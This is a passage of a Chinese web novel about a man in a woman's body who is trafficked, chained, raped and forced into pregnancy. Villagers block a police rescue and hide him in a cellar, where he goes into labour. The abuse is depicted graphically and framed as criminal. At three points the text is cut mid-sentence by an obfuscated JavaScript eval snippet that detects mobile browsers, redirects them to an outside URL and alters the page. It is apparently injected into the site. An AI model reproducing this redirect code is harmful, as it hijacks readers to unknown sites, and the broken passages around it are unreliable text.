“我是男人,不是女人。”岳金群脖颈挣动,声音又提高一个调,“我不是女人,我不能生孩子。” “哈哈,你哪里是男人,你不就是女人吗?”程有柱完事后,雨点般的拳头落在岳金群身上,抓着岳金群的头发问道:“你能不能生?你能不能生?” 打一拳问一句,岳金群死死咬着牙关,奄奄一息,仍是不肯松口。 “就让他打死我吧,死了也就解脱了。”他暗暗想道,眼前渐渐模糊。 “行了,你还真打死她吗?”程老根听着声音不对,进来拽走程有柱。 不知过了多久,岳金群又醒来了,他还是被绑在这张床上。 他不知是要痛恨自己醒来,还是庆幸自己醒来。 他被独自锁在房间里,无法动弹,后脑勺都要躺化了,头一会偏向左边,麻了之后又偏向右边,如此循环往复。 他无法独自去上厕所,只能绝望地感受着屎尿粘在身上。程有柱每隔几天来和岳金群同房一次,只有同房前才会清理。 他若是乖乖顺顺,一天也能吃上一两次饭,若是仍旧挣扎怒骂,可能一连几天水米不进。 每次程有柱来给他送饭或同房,他都忍不住苦苦哀求,求到最后又忍不住爆发惹怒程有柱,被他狠狠打一顿,好像只有这样,才能提醒自己还活着,自己还没有屈服为一个生育工具。 阳光慢慢透进窗户,又慢慢消失,一天一天过去,岳金群脑中时而思绪万千,又时而一片空白。 他原本还想记录时间,但是慢慢的又忘记时间,他整个人似乎都不存在了。他在自己的屎尿堆中呼吸,他竟慢慢习惯了。 8. 怀孕 “爸,我觉得她可能怀孕了,都来了快2个月了,一次女人的事都没来过,可能第一次就怀上了,昨天我去给她送饭,她时不时想吐。我找村医给了我一个验孕棒。”程有柱跟程老根说着,开锁进门。 “好啊有柱,要是真怀上就太好了,你可太争气了,不愧是我儿子。”程老根一听儿媳妇可能怀孕,高兴地直转圈圈,又停下双手合十哈腰祈祷,嘴里念念有词。 一开门,室内屎尿臭味便直扑面门,二人忙以手捂鼻遮挡。程有柱上前收拾一番,将塑料布包着屎尿一起卷了出去。 “你现在想撒尿吗?尿在这里面一点。”程有柱拿出村医给的接尿的塑料小杯,紧盯着岳金群下身,期待她现在就立刻能尿出来。 “你要干什么?松开我一点吧,我好难受,求求你,我再也不敢了,我一定老老实实的。”岳金群迷蒙的脑子清醒一点,急切哀求。 “你现在尿出来,我要看下你有没有怀孕,你要是怀孕了,就松开你一点,只拴上你的脖子,不整天绑着你。” “好,好。”岳金群默念“卧薪尝胆”,乖乖配合验尿。 “怎么样?怀上没有?”程老根在门口焦急询问。 程有柱期待地盯着验孕棒,两条红线慢慢浮现出来,深浅不一,纵使心里早有猜测,但是真的有了,犹如中了大奖一般,又使劲揉了揉眼睛,两条红线还在验孕棒上。 “哈哈哈,有了有了,两条杠就是有了。”程有轻快地几步窜到门口,将验孕棒在老父亲面前晃。 “好,好,我有后了,我要有孙子了。”程老根激动地看着验孕棒,慈爱地仿佛在看孙子,抬手擦了擦眼角溢出的泪花。 “有柱,给她松开点,别拴这么紧了,给她多做点好吃的,让她好好把孙子生下来。” 程老根欣喜叮嘱:“对了,你可别碰她了啊,让她好好养胎,别把我孙子碰掉了。” “哎,好,爸你就放心吧。”有柱说着就返回室内。 “媳妇儿,我把铁链给你拴脖子上,手脚都不拴着了,你可老实点,好好养胎生儿子,别想着跑,你要是再敢跑,我绝对打断你的腿,拴你一辈子。” “好,好,我绝对不跑,我老老实实生孩子,服服帖帖跟你过日子。” 岳金群忙不迭答应,拿出自己最真诚的态度,丝毫不敢透露仍想逃跑的心思。 程有柱又扔给岳金群一套衣服,还在室内放上了便桶,岳金群的生存水平陡然上了一个台阶。 他将岳金群脖子锁好又锁门出去,虽然给了岳金群一定的自由,但是还是不能让她出房门。 现在怀上了孩子,要是跑了,自己家的种也跟着跑了,她要是跑到外面把孩子给打了,一切就都白忙活了。 “我不想吃这些,太难吃了。”岳金群推开程有柱端碗的手,纵使他们为了胎儿,每天能给他卧个鸡蛋,但是粗糙的厨艺和食材,仍让他食不下咽。 总是恶心想吐,嘴里的唾液都是苦的,全身不是这疼就是那疼,总是觉得不得劲,不舒服,他从来不知道女人怀孩子这么难受。 在他还是个男人的时候,老婆给他生了3个女儿,外面情人也生了几个,她们怀孕的时候,他顶多稍稍照顾了一下老婆,让老婆多喝点热水,而情人从不敢说让他照顾,纵使大着肚子,展现在岳金群面前的也是最美孕妇。 而他现在被怀孕折磨,身体一天比一天瘦弱,肚子却一天比一天大起来,宛如竹杆中间凸起一块,感染了寄生虫一般。 要不是仍被拴着脖子,岳金群绝对要把这胎打了,就算撞破肚子也要打掉。 “只有这些,你还想吃山珍海味啊,你是我家的媳妇儿了,就得跟着我家吃。不吃你怎么养孩子,别以为你怀着孩子我就不敢打你。”程有柱怒了,拳头举起来跃跃欲试。 他们父子俩已经这么伺候她了,饭送到床上,屎尿都给她倒,她仍旧挑剔,一次两次可以不吃,但是看着她越发瘦弱,他不禁怀疑,她再瘦下去,孩子还能活吗? 想到此,程有柱化拳为爪抓住岳金群的头发,抓起一把饭直接往她嘴里塞,强迫她咽下去。 岳金群胃部一阵阵翻涌,纵使咽下去了,胃部仍旧拒绝。上半身频频蓄力倾动,程有柱一松开钳制,岳金群就立刻吐了出来。 “老根哥,听说你家儿媳妇儿有了?恭喜啊,马上要抱孙子了。”程德的儿子程翔峰和老李家云云的亲事刚定下来,心里高兴,在家里攒了个酒局,邀请村里玩的好的老哥们来喝酒。 “唉,现在她什么都吃不下,瘦的一把骨头了,都不知道能不能生下来。”程老根一提起这个就满心愁绪,儿媳不吃饭不要紧,但怕孙子饿着啊。 “这女人怀孕就是麻烦,不过怀孕的时候,要是心情好,也会怀的好,心情要是不好,就容易掉。当年我媳妇儿就是,开心了一下子给我生了个儿子。”程德人逢喜事精神爽,忍不住宣扬自己的养儿经。 “你儿媳妇儿整天一个人待着,心情肯定不好,不然让我家爱娣去找她玩一玩,我们都是知根知底的,都是一家人,我让爱娣带点橘子过去,吃一点开开胃。”程德又建议道。 “好啊,让爱娣来找她说说话吧,开导开导,我也给她买点开胃的吃吃。”程老根想着程翔峰都订下媳妇儿了,他们家也不会再惦记自家儿媳妇,让爱娣来找她说说话也好,也不能拴她一辈子,得让她学会认命。 “我媳妇儿当年怀有柱的时候,什么都不挑,我吃什么她吃什么,我喝稠的她喝稀的,生下有柱就下地,现在的媳妇儿啊,真是娇气。”程老根摇头感叹一代不如一代。 “看你家爱娣多乖啊,听你们的话,跟老李家换亲,自己嫁出去了,让哥哥也娶上媳妇儿了。” ”年头不一样喽。” 屋内响起一阵阵吹捧敬酒声,深夜才散。 第二日,程爱娣就提着一袋橘子来到了程有柱家。 “嫂子,我是有柱哥的堂妹,我给你带了点橘子。” 程爱娣叫来程有柱开了门锁,一开门,一股难闻的气味便扑鼻而来,岳金群呆呆躺在床上,面容麻木,两眼鰥鳏。一条锁链系在脖子上,另一端系在床柱上。 “有柱哥,把门打开进进新鲜空气吧,或者让我和嫂子去外面坐坐吧。”程爱娣制止了程有柱关门的动作。 “你们在屋里说话就行。”有外人在场,程有柱便不再执意关门,但也不敢带去外面,自己出去拿了一壶水招呼程爱娣。 她看着比我前几个月救她的时候,更瘦了。程爱娣暗暗想到。 岳金群的现状让她心里一痛,一种莫名的负罪感涌上心头,同为女人,更易设身处地。又想到自己拗不过父母,要换亲给李天恩,更有一种同病相怜。 “嫂子,吃点橘子吧。”程爱娣剥开了一个橘子,清新的橘子香气四散,唤醒了岳金群的嗅觉和味觉,唾液疯狂分泌。 一撇眼看到程有柱坐在一旁,岳金群又厌恶地闭上了眼。 “有柱哥,你忙你的去吧,你在我们女人也不好说话呀。嫂子怀孕了,我还想着取经呢。” “能跟她取什么经?”程有柱一边说着,一边被程爱娣推出了门。 “嫂子,我听说你吃不下饭。吃点橘子吧,酸酸甜甜的,不管你有什么想法,好好活着才有以后啊。” 程爱娣又将橘子递到岳金群手上,看她这幅生无可恋的样子,怕她一时想不开。 程爱娣是这个村子的人,她什么都不敢做,不敢报警,也不敢放了她,只能做这些微不足道的劝说,她都唾弃自己。 岳金群想要坐起来,程爱娣忙帮忙扶着,将一袋橘子都放在了岳金群面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“堂妹,你多大了?你还在上学吗?”岳金群拿了一个橘子放到程爱娣手里,决定先多了解一下。 “我16了,不上学了,我过几个月就要嫁人了。”程爱娣也拿了一个橘子剥着吃,低着头低声答道,似乎有些难为情。 “这么小不上学了,真是可惜啊。你和你要嫁的人是在学校认识的吗?我家那边的孩子也是十几岁就有在学校谈恋爱的呢。” “不是,是我成绩不好,上不下去了。要嫁的人是我们村的人。” 程爱娣还是不想跟岳金群说实情,听着岳金群说外面的学生可以在学校谈恋爱,她十分羡慕,不是想要谈恋爱,而是想要这种自由,想要这种家庭,想要这种生活。 外面的学生一定没有逼着让退学,让嫁人的父母。 更加可怜岳金群落到了这里。 “你才十几岁,怎么能不上学呢?你想这么早嫁人吗?你看我,嫁人怀孕多难受。” 一提到“难受”,被橘子压抑的感觉又涌了上来,岳金群又想吐了。 程爱娣忙把接呕吐物的桶拿给了岳金群,还帮她顺背,又帮忙端水。 “又吐了?”程有柱也冲了进来,挤开程爱娣。 “嫂子,有柱哥,我先走了,下回我再来看嫂子。”程爱娣感受到了程有柱的驱赶之意,出声道别。 “好,明天再来吧,带着牌来,我们玩牌。”岳金群怕程爱娣不敢再来,不顾呕吐立刻出声定下日期。 程有柱不放心他和别人单独相处,刚才和程爱娣的对话肯定都听到了,但是只要有其他人频繁来找他,就不信程有柱每次都盯着。 “嗯,我明天有空的话。”程爱娣不确定还要不要来,模糊答道。 9. 打牌 “大伯,我们来找嫂子来打牌。有柱哥不在家吗?”程爱娣第二天又来了,还另外带了2个女孩。 “好,我给你们开门。有柱去镇上干活了。昨天你来了后,她都多吃了碗饭,以后多来啊。”程老根拿出钥匙打开了门,让3个女孩进来。 “嫂子,我们来找你打牌。” 程爱娣原本是不想来的,不想回答岳金群问的那些不好回答的问题。 但是她回家后,总是回想起岳金群奄奄的神情,拴脖子的铁链,期盼的眼神,又想到自己即将换亲嫁人,十分烦躁,鬼使神差的,她叫上两个玩得好的同伴,又过来了。 听到岳金群多吃了一点饭,她也很高兴,自己的到来终究是有作用的,能够让岳金群开心一些也好。 岳金群看到程爱娣又来了,自是十分高兴,拿出打牌的架势,简单了解了一下规则后,4个人便打起牌来,仿佛将各自的烦心事都甩到了脑后。 “嫂子,你老家在哪里啊?” “嫂子,你怀孕几个月了,男孩女孩啊?” “嫂子,你是大学生吗?外面都传你是大学生。” 几次出牌后,4人很快熟络起来,女孩子们控制不住自己的好奇心,叽叽喳喳问起来。 岳金群一个一个仔细回答,不怕她们问,就怕她们没问题。 “我老家是京省的,就是咱们京都,你们知道吧?” “怀孕得有4个月了吧,男孩女孩不知道,他们说我喜欢吃酸橘子,说是男孩。” 岳金群语气低落下去,拽一拽脖子上的锁链:“我是大学生,但是大学生也被拴在这儿了。” “嫂子,没关系,等你生下孩子,就不会拴你了。” “对,老李家就是这样的,他家媳妇儿刚生了个儿个,我还去看了呢,没生孩子前也是怕她跑了拴着,我去看的时候没拴着,在床上躺着坐月子呢。” 还有其他被拴着的女人?岳金群来到这里后,只见过一个被拴着的女人,就是逃跑那天晚上的尹月,难道是她? “哦,希望不要再拴我了,我也不想跑了,孩子都有了,就这么过吧。”岳金群抚摸着隆起的肚子,装作认命道。 “你们和我不一样,你们嫁人得好好挑挑啊,你们都不上学了吗?” “我和来娣都不上学了,娜娜还在上高中,今天他们放假了。”程爱娣向岳金群介绍。 “来娣也定下人家了吗?爱娣昨天说她过几个月就要嫁人了。”岳金群一边出牌,一边问道。 “我还没有,我妈都挑花眼了,我还不想这么早嫁出去。”来娣撇嘴。 “那爱娣怎么这么早就定下来?着急嫁人了?”岳金群打趣。 “她跟李家换亲的,她不着急,但她哥哥着急娶媳妇啊。”娜娜心直口快,程爱娣阻止不及。 “换亲?” “对,就是我嫁给李家的儿子,李家的女儿嫁给我哥哥。”程爱娣眼中有泪光一闪而过。 “听说李云云一直不愿意,还闹着要自杀,不然他们早就换亲了,就不是几个月之后再嫁了。”娜娜又强调道。 我也不愿意,程爱娣在心里重重说道。 “定好什么时候嫁了吗?”来娣出了一个牌,用手肘碰一碰程爱娣。 “明天3月,就是5个月之后。” “不想嫁人的话,不嫁不行吗?去外面工厂打工,去做保姆,就算一点经验都没有,一个月也有几千呢,做得好的几万都有,养活自己不成问题,比这么小就嫁人强多了。” “京省那边的女孩,父母都会拼尽全力让孩子去考大学,就算真的考不上,也会送孩子出国,实在没能力出国的,就去学一门能生存的技能,不会让孩子像你们这么小就嫁人生子的。” “我们跟京省的人不一样。”程爱娣语涩。 “没什么不一样的,只要你想出去,你敢出去,外面都是活路。”岳金群诱惑道。“京省的工作机会也特别多,就算去奶茶店,快餐店打工,一个月工资也能够养活自己。” “我可以帮你们介绍工作,我在那边有认识的人。”岳金群最后试探道。 女孩们都停止了说话,心思各异。 “该谁出牌了?” “我,我”氛围又活络起来。 “嫂子,再给我们讲讲京省呗,那有什么大学吗?”娜娜好奇地问道。 岳金群继续描绘美好京省,对京省大学如数家珍,又仔细询问了娜娜的学习情况,介绍自己以前的高中学习和社会经验,听得娜娜眼冒金光。 饭桌上,娜娜向父母兴奋讲述今日见闻。 “妈,我今天跟着爱娣去程有柱家,找他媳妇儿玩牌了,有柱哥他媳妇儿真是大学生,还是从京省来的呢。” “可怜了,还是大学生呢,落到程老根家了。” “是啊,跟老李家媳妇儿一样。”娜娜父母摇头叹息。 “她今天还给我说了京省的大学,我要考京大。”娜娜握拳。 “好,有志气,娜娜,就把京大定为你的目标,只要有目标,就一定能考上。”娜娜妈妈从来都是鼓励儿女的。 “我也要考京大,我也要考京大。”娜娜弟弟不甘示弱,也在一旁叫道。 “好,好,你们都考京大。”娜娜爸爸畅快大笑。 “妈,咱们要不要报警啊?有柱哥她媳妇儿就是被拴着的,她不是自愿的。”娜娜低声道。 “你可别瞎掺和,明天就要去上学了,这些你别管。来咱们村的外地媳妇儿,就没有活着被救出去的。” “那媳妇儿可是人家买来的,专门买来生儿子的,花了不少钱的,怎么可能轻易放了。” “上次警察来村子里救老拴的媳妇儿,都找到了,老拴愣是当着他媳妇儿爸妈的面,把他媳妇儿捅死了。” “再说你怎么去报警,警察来了不先找你吗?要是让别人知道了,咱们家还怎么在村子里待下去?” “警察一来,他亲戚肯定都拦着,程有柱肯定会把媳妇儿藏起来,谁也找不到,根本救不出去。” “程老根可是个狠人,他说他老婆跑了,就是有柱他妈,实际上到底是被他卖了,还是打死随便找个地儿埋了,谁知道呢?那年头这种事可多。” “娜娜,咱不掺和这些,咱们村谁不知道他媳妇儿是被买来的,你看别人家都不去报警,咱家也不能去,就怕报警了被程老根家报复,要是把你和你弟弟害了,我们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“已经生下了儿子,哪能让媳妇儿闲着。 他们家媳妇儿也是买来的,听说要不是抢的及时,孩子刚生下来就被掐死了,哼,一点当妈的样子都没有。”程老根嗤道。 “他家不敢让媳妇儿喂奶,还不如送去代孕挣钱呢。他家孩子在让自家女儿喂奶呢,老李家女儿也才生孩子几个月,有奶呢。” “那不留着再生儿子了?就生一个?”程有柱不解。 “我看老李家的意思,是先养活这一个儿子,儿子多了娶媳妇儿更难啊。再说了,代孕回来再生呗,越年轻,代孕给钱越多。” “你咋想的,等你媳妇儿生了儿子,让你媳妇儿也去代孕?”程老根问儿子。 “再说吧,挣点钱太难了,我特么累死累活一天,才挣这么点。” 程有柱心情陡然变坏,吃完一抹嘴,将筷子大力摔在桌子上,一动又抻到了腰,疼得哎呦哎呦直叫唤。 在程有柱看来,这女人能嫁给城里的有钱男人,而他没文化没本事又不会哄人,是万万娶不到城里的有钱女人的。 女人能拎x入住,而男人,却要准备房子、车子、彩礼才可能娶上自愿的媳妇儿,而他没房没车,只能买媳妇儿,也要花掉家里的全部积蓄。 女人没钱了,床上一趟就行了,而他,却要累死累活去干活。 这世道真是太不公平了,程有柱恨不得自己也有个肚子能躺着挣钱,真是什么便宜事都让女人占了,而他只能如臭水沟里的老鼠,阴暗嫉恨诅咒着女人,渴望着女人。 10. 来救 岳金群半夜被鞭炮声惊醒,拖着大肚子艰难翻了一个身,锁链随之响动。 仔细塞了塞被角,室内的温度比室外高不了多少,屋子里只燃着一个取暖烧水的炉子,为防止煤气中毒,窗户还开了一个小缝,岳金裙居然在这种环境下没被冻死,还怀着孩子活了下来,他自己都有些不敢相信。 鞭炮声此起彼伏,连绵不绝,有烟花,也有一闪而过的白光,时不时将一片天空照亮。 岳金群怔怔看着窗外,过年了啊,自己已经来这儿这么久了,久到以往的记忆似乎都蒙上了一层薄纱。 “嫂子,嫂子,你醒醒。”程爱娣在窗户外低声喊道。 岳金群一个激灵,猛然坐起,凑近窗户,铁链碰撞声响起。 “我前几天不是跟你说,老李家媳妇儿给送去做代孕,因为在代孕的地方大闹,又给送回来了嘛。 刚刚有警察来救老李家媳妇儿了,你被铁链拴着,我弄不断铁链放不了你,但我已经偷偷跟警察说了,让警察来救你,你就在这儿等着警察吧,我先走了。” 岳金裙闻言激动不已,但是又想到程爱娣的情况,低声问道: “爱娣,你不走吗?你难道真想嫁人吗?” 程爱娣三五不时或单独,或带着小伙伴来找岳金群玩,她们给岳金群带来村里最新八卦,而岳金群向她们介绍外面的世界,播种下一个个向往自由的种子。 “我不知道怎么走,我不知道去哪里?”程爱娣犹犹豫豫。 “爱娣,谢谢你告诉警察来救我,但我也要救你。” “你听我的,回家拿上ID卡,要是没有ID卡,就记住你自己的ID号码,拿上钱,趁着现在乱,没人注意你,你出村子,在大路上拦车去车站,我以前告诉过你怎么坐车,你还记得对吗?” “你去大城市打工,自己挣钱养活自己,自己选择你要过的人生。” “你父母就在村子里,你没成年,就算找警察,警察也只是教育你的父母,等警察走了,你还是要听父母的,只有你自己走了,你才能逃脱换亲的命运。”岳金群打断程爱娣的欲言又止。 “谁在那?”程有柱从门外走来,看到一个人影在岳金群窗外,大喝一声。 程老根父子去了亲戚辈分最大的人家一起守岁,喝到半夜,听说警察去了老李家,要把他家媳妇儿带走,就又去了老李家,同李家人一起阻拦警车,阻止警察和老李家媳妇儿家人带人走,现场吵吵嚷嚷。 程有柱担心把岳金群一个人扔在家里被人带走,便留下程老根一个人帮忙,自己回了家,一回家就看到果然有人在岳金群窗外。 程爱娣一看有人回来了,不敢再和岳金群多说,忙捂着脸冲向门口,撞开程有柱自己跑了。 程有柱阻拦不及,也没看清是谁,忙走到门口,打开门,看到岳金群仍坐在床上,狠狠松了一口气。 “我告诉你,你别想着跑,老李家媳妇儿也跑不了。”程有柱盯着岳金群,严重警告。 岳金群懒得理他,只静静盯着窗外。 程有柱见岳金群不理会,气急败坏地在屋内转圈,时不时焦急向外张望。 “有柱,警察朝咱家来了。赶紧把她藏起来,藏到后面地窖去。”程老根气喘吁吁跑回来,反手锁上了大门。 程有柱一听,也急了,急忙打开了拴在床柱上的锁链,猛拽岳金群,试图将岳金群牵走。 “救命啊,救命啊。”岳金群深感被解救有望,自由就在眼前,双手死死扒住床柱,大声呼救,但是求救声淹没在了窗外此起彼伏的炮火声中。 程老根见岳金群不配合,狠掰岳金群扒住床柱的手指,将她的手指抠的鲜血淋漓。 见岳金群仍不松手,上前猛扇岳金群数个耳光,又拿起旁边的水壶猛砸岳金群的手臂和手指,终于让岳金群的手指松开,将岳金群拽向了门外。 岳金群脸、手臂和手指剧痛,肚子也隐隐下坠,她已怀孕八月有余,腹部高高隆起,这孩子仿佛吸走了他所有的力气和精气神,他已经没多大精力反抗了。 他见到什么能扒的东西,就上前扒着,指甲磨过粗糙的墙面,在墙上留下一道道血痕。 程有柱见岳金群殊死反抗,料她不会乖乖跟着走,将岳金群上半身抱起,牢牢束缚住。 “爸,你抱住她的腿,我们把她抬过去。” 二人抬着岳金群从房子侧边走向房后地窖,在转角处听到门口隐隐传来对话。 “程老根家是哪家?” “这一家。”一个女声清脆答道。 “开门。”继而响起了剧烈的敲门声。 “救命,救命。”岳金群撕心裂肺地叫喊,门外的敲门声转为砸门声。 程有柱抬起一只手捂住岳金群的嘴,父子二人快速将岳金群塞进了地窖入口,程有柱也跳进地窖,捂住岳金群的嘴不敢放松,将岳金群从地窖台阶上往下拖。 程老根将地窖门关上,又放了一些杂物遮掩,将一路挣扎的痕迹用扫帚扫掉。 又看了一眼地窖,忙跑向门口,“来啦,来啦,别敲了。” “你家都有什么人?”一打开门,几个警察便挤了进来,身后跟着一群街坊四邻。 “就我和我儿子。”程老根笑道,把大家都让进来。 “你儿子呢?” “不在家,这不是过年吗?谁知道去哪里玩了。” “听说你家买了个媳妇儿,人呢?告诉你,拐卖犯法。” “没有,没有,没有的事,我儿子还打光棍呢。”程老根忙摆手。 “我们进去看看。”警察推开程老根,进屋子搜查。 “这怎么能随便查人啊,就是警察也不行啊。”外面有程老根亲戚议论纷纷。 “这墙上怎么有血,还是新鲜的,这屋子谁住的?”警察来到岳金群所住的屋子,有明显的居住痕迹。 “这是我儿子住的,血是我手指破了,不小心弄上去的。”程老根伸出自己的手指,他在抠岳金群手指的时候,自己手指也被弄破了。“再找找。”其中一个警察对其他警察说道。 娜娜和她的父母也站在外面的人群中,娜娜上前一步,想要说明情况,被爸爸一把拽住,捂住了嘴,拉着妈妈一起出了程老根家。 “唔,唔……”娜娜挣扎着扒开爸爸的手。 “别再说了,赶紧回家。你还想干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730148|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚才你都不该给警察指路,幸好刚才没什么人看到。”妈妈指责道。 “我不该指路?我这是在救人,她被拐卖的时候我不救,万一我被拐卖,会有人救我吗?” 娜娜妈妈看着女儿,眼中有泪光闪过,情绪低落下来,娜娜爸爸将妻子搂在怀里,轻轻安慰。娜娜不明白妈妈突然的情绪从何而来,挣开束缚就想跑回程老根家。 突然一堆人冲了过来,拿着斧子、锄头、镰刀等农具,一股脑地涌向程老根家。 娜娜爸爸和妈妈吓得将娜娜抱起来,一家人急忙躲开了,强硬带着娜娜回了家。 “我家真没人,你们要找什么啊?我要告你们。”程老根跟着警察来来去去,嘴里重复念叨。 见警察还是不走,甚至搜完了屋子,要往房后走去,一屁股坐在地上,大声哭喊“警察逼死人了,警察要杀人了,没法活了,我要上诉,我要告到中央”等等话语。 周围站着的四邻也议论纷纷,程老根亲戚也站到程老根面前为他撑腰,与警察争辩,阻止继续搜查。 几名警察在屋前制止眼前的纷乱,两名警察走到屋后四处查看。 岳金群的嘴被捂住,手臂被压在胸前,隆起的大肚子被压在冰冷的土台阶上,被程有柱拽着往下拖。 肚子的疼痛越来越剧烈,似乎隐隐有水从下/体流出。 岳金群使出全身力气阻止程有柱,用脚蹬,用手抓,用肚子卡,他不能接受往下走,明明警察就在上面,明明自由就在上面,他听到了,听到警察走来的声音了。 “唔,唔……”岳金群从嗓子里发出最大的声音。 “砰砰砰”“啪啪啪”“噼里啪啦” “有情况吗?” “啊?没有找到。” 鞭炮声愈发密集,炸的人的耳朵都要聋了,两个警察说话都要用喊的。 “还我媳妇儿!”一群人拿着农具蜂拥进程老根家,和警察对峙起来。 其中被警察和媳妇儿父母带走了媳妇儿的李天福举起锄头就朝警察砸去,几名警察急忙躲闪阻拦,其他人也一拥而上,警察不得已和村里的人搏斗起来,推推搡搡闹成一团。 程老根看这边乱了,跑到屋后大喊:“打起来了,打起来了,你们快来啊。” 在屋后的两名警察对视一眼,急忙跑到前面,见一群人将警察都围了起来,立即挤上去上前劝架。 鞭炮声,叫喊声不一而足,场面混乱不堪。 “都别动,你们这是袭警。” 里面的警察终于将打得最狠的刺头按倒,外面的2个警察也出手制止,终于将场面控制下来。而警察也挂彩了,甚至有一个被打得头破血流。 “屋后找到人了吗?” “没有,什么都没找到。” “让开,都让开。”警察大声喝道。 早有警车带着老李家媳妇儿先走了,留下他们几个找程老根家媳妇儿,但是已经打草惊蛇,阻碍太大,今夜估计是找不到了,能把老李家媳妇儿救出来就已经是今夜的大收获。 其他几名警察搀起伤重的警察,压着最先袭警动手的人,开着警车艰难挤出愤怒的人群,离开了村子。 11. 生产 岳金群的肚子从台阶上一点点磨下去,终于被拖到了地窖底部,被跨坐在胸前的程有柱死死压制住,地上传来的声音越来越不真切。 岳金群的肚子越来越疼,疼痛一波一波蔓延开来,有滚烫的液体流了出来。 “唔,唔……” 岳金群疼得要打滚,想对程有柱说自己肚子疼,可能要生了,但程有柱还以为岳金群仍要挣扎,更加用力捂住岳金群的嘴巴,使出全身力气压制,让岳金群动弹不得。 疼痛激出的冷汗一层一层涌出,岳金群双腿不住踢蹬,无处排解这种疼痛。 时间在疼痛中无限延长,仿若被碾过无数遍,终于,有人打开了地窖的盖子。 岳金群希望是警察,期冀地看过去,程有柱也紧张地等着。 “警察走了,出来吧。”程老根苍老又熟悉的声音传来,紧接着是那在电筒光照耀下愈发狰狞的脸。 程有柱长舒了一口气,卸了劲儿一般倒在地窖里畅快地喘息。 “好疼,我肚子好疼。”失望与绝望还没来得及体味,无边的疼痛就侵占了岳金群的意识,一被放开,便抱着肚子翻滚起来。 程老根将手电筒往岳金群身上一照,大惊失色,一步两三个阶梯下到地窖里来。 “不好,见红了,要生了。”程老根窜到岳金群身边,照到了她早已被血水染湿的裤子。 “有柱,快把她抱上去,我去找接生婆。”程老根一把推向懵逼不知所措的程有柱。 程有柱立刻按照老爹的指示办事,看到这么多的血,他也有些胆寒,想到刚才一直压着她不让她出声,不会把孩子压坏吧? 父子二人合力将岳金群连抱带拖带离地窖,又放到了她常住的房间。 “有柱,你把她拴上,然后去烧热水,我去请接生婆。”程老根匆匆吩咐一句,疾跑出了门。 岳金群又被拴在这张床上,疼痛一波一波袭来,他顾不得想其他,疼痛袭来的时候度秒如年,恨不得将手伸进肚子里,将疼痛源头抓出来扔掉。疼过之后所有力气都被卸掉,只能躺在床上大口喘息。 “为什么,为什么,是老天在整我吗?让我亲身来做一个女人,经历被拐卖,被强/奸就算了,还要让我亲自来生孩子,我的罪孽有这么深重吗? 警察都来救人了,我都没有被救出去,这真的不是针对我的局吗?是哪个王八蛋在设局,别让我知道……” 岳金群送走一波疼痛后,胡乱咒骂。很快又一波疼痛蓄力袭来,越来越痛。 “啊……我是男人,我不生孩子。”岳金群仿佛所有力气都去抵御这疼痛,无法大叫出声,喊出来在这时候都是一种奢侈。 “给我打一盆热水洗手。”一个利索的老婆婆进来就吩咐程有柱,看着岳金群在床上挣扎,已然神智不清,胡言乱语。 “老嫂子,怎么样啊?”程老根紧随其后,看着接生婆快速洗完手去探岳金群的下半身,觑视她脸上的表情。 “不太好,胎位不正,怀了几个月了?” “八个月了。” “俗话说,七活八不活,老根,还是送医院吧。” “不行,老嫂子,你也知道我家的情况,医院送不得。有个孩子不容易,求老嫂子救救吧。” “唉,试一试吧,你去找村医,给她打上催产药和营养药,先试着生一生吧。”接生婆踌躇半晌,终是答应下来。 “好,好。” 岳金群迷糊间只觉面前人影攒动,难道自己终于到了地府吗?终于不用生孩子了?哈哈哈。 “金裙,你醒醒,醒醒,咱们的儿子还没生下来呢,你醒醒。”程有柱按住岳金群输着液的手臂,以防她乱动。 他焦急地,一声又一声喊着,这是接生婆要求的,要把岳金群喊醒生孩子,不能昏死过去。 岳金群听到了程有柱的声音,还以为他追到了地府,睁开眼却看到了熟悉的天花板,而程有柱的黑胖脸就在自己眼前,不由得眼前一黑。 如果我有罪,请让法律审判我,请让阎罗审判我,而不是让我生孩子。 岳金群刚要说“滚”,又一阵疼痛袭来,让他面容扭曲,大张着口,只一个“啊”字叫出来,其余的一个字都吐不出来。 一双粗糙的手又探进了岳金群的下身,他已无力阻止,甚至查体的疼痛不及腹痛万一。 “还不够,还不能生。”接生婆擦手道。 程老根在门外一遍遍画圈走着,双手合十念念有词,西天佛祖、菩萨、孙悟空、玉帝、王母娘娘、耶稣等等,凡是他知道的,都求了一个遍。 屋内时不时传来岳金群的一声大叫。 接生婆一次次查体,一次次摇头。 天色已经泛白,鞭炮声又此起彼伏响起,外面已经有了拜年走动的声音。 “大伯,过年好啊。” “叔,过年好啊。” 有人结伴来给程老根拜年。 程老根无暇招待他们,匆忙受了他们的礼。 “有柱媳妇儿生孩子呢,大年初一生孩子,是个好兆头啊,一定能很快生出来的。”有人看出程老根极为紧张,笑着宽慰。 程老根“嗯嗯”作答,但没有心思再做太多回应,心神都在儿媳妇生孩子身上,这比当初他自己媳妇儿生有柱时都紧张。 主要是昨夜发生了太多的事,一件接着一件,心神太过疲劳,儿媳妇还在地窖里待了那么久,不知道会不会影响孙子,如今只盼着孙子能够平安落地。 “大伯,您还不知道吧?爱娣不见了,她家里人正找呢,翔峰都没来跟着我们跟您拜年。” “什么?什么时候的事?”程老根终于从生孙子上分了一点心神。 